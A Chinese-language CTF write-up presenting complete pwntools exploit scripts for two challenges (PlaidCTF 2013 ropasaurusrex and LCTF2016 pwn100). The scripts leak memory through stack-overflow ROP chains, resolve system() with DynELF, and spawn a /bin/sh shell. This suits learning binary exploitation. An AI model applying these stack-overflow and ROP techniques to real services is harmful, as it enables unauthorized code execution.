Linux Pwn利用漏洞获取libc

1、 PlaidCTF 2013 ropasaurusrex

该题没有通过system、int 80 syscall,也没有提供libc库,同时开启了nx保护。但是该题提供了read函数和write函数,且read函数有栈溢出,write函数可以打印任意地址,因此可以利用DynELF来解决。

from pwn import *
io = remote('172.17.0.2', 10001)
elf = ELF('./ropasaurusrex')
start_addr = 0x08048340
write_addr = elf.symbols['write']
binsh_addr = 0x08049000

def leak(addr):
	payload = ''
	payload += 'A'*140			
	payload += p32(write_addr)	#调用write
	payload += p32(start_addr)	#write返回到start
	payload += p32(1)		#write第一个参数fd
	payload += p32(addr)		#write第二个参数buf
	payload += p32(8)		#write第三个参数size
	io.sendline(payload)
	content = io.recv()[:8]
	#print("%#x -> %s" %(addr, (content or '').encode('hex')))
	return content

d = DynELF(leak, elf = elf)
system_addr = d.lookup('system', 'libc')
read_addr = d.lookup('read', 'libc')

log.info("system_addr = %#x", system_addr)
log.info("read_addr = %#x", read_addr)
pay='a'*0x8c+p32(read_addr)+p32(system_addr)+p32(0)+p32(binsh_addr)+p32(8)
io.send(pay)
io.sendline('/bin/sh')
io.interactive()
2、 LCTF2016-pwn100

之前该题已经做过一遍了,但是当时提供了libc库,现在则借助DynELF来获取system在内存的地址。和1题不同之处在于这次的leak函数倚靠的puts函数打印内存地址,由于puts函数遇到\x00则就停止,所以在处理上要采用别的技巧

from pwn import*
io = remote('172.17.0.2', 10001)
elf = ELF("./pwn100")
puts = elf.symbols['puts']
start = 0x400550
poprdi = 0x400763
poprbx=0x40075a
binsh=0x60107c
read=elf.got['read']
def leak(addr):
	up=''
	content=''
	pay='A'*72
	pay+=p64(poprdi)
	pay+=p64(addr)
	pay+=p64(puts)
	pay+=p64(start)
	pay=pay.ljust(200,'A')
	io.send(pay)
	io.recvuntil("bye~\n")
	while True:
		c=io.recv(numb=1, timeout=0.1)
		if up == '\n' and c == "":
			content=content[:-1]+'\x00'
			break
		else:
			content+=c
			up=c
	return content[:4]

d=DynELF(leak,elf=elf)
system_addr=d.lookup('system','libc')
pay='b'*72+p64(poprbx)+p64(0)+p64(1)+p64(read)+p64(8)+p64(binsh)+p64(0)
pay=pay+p64(0x400740)+'\x00'*56+p64(start)
io.send(pay)
sleep(0.1)
io.send("/bin/sh\x00")
pay='b'*72+p64(poprdi)+p64(binsh)+p64(system_addr)
pay=pay.ljust(200,'b')
io.send(pay)
io.interactive()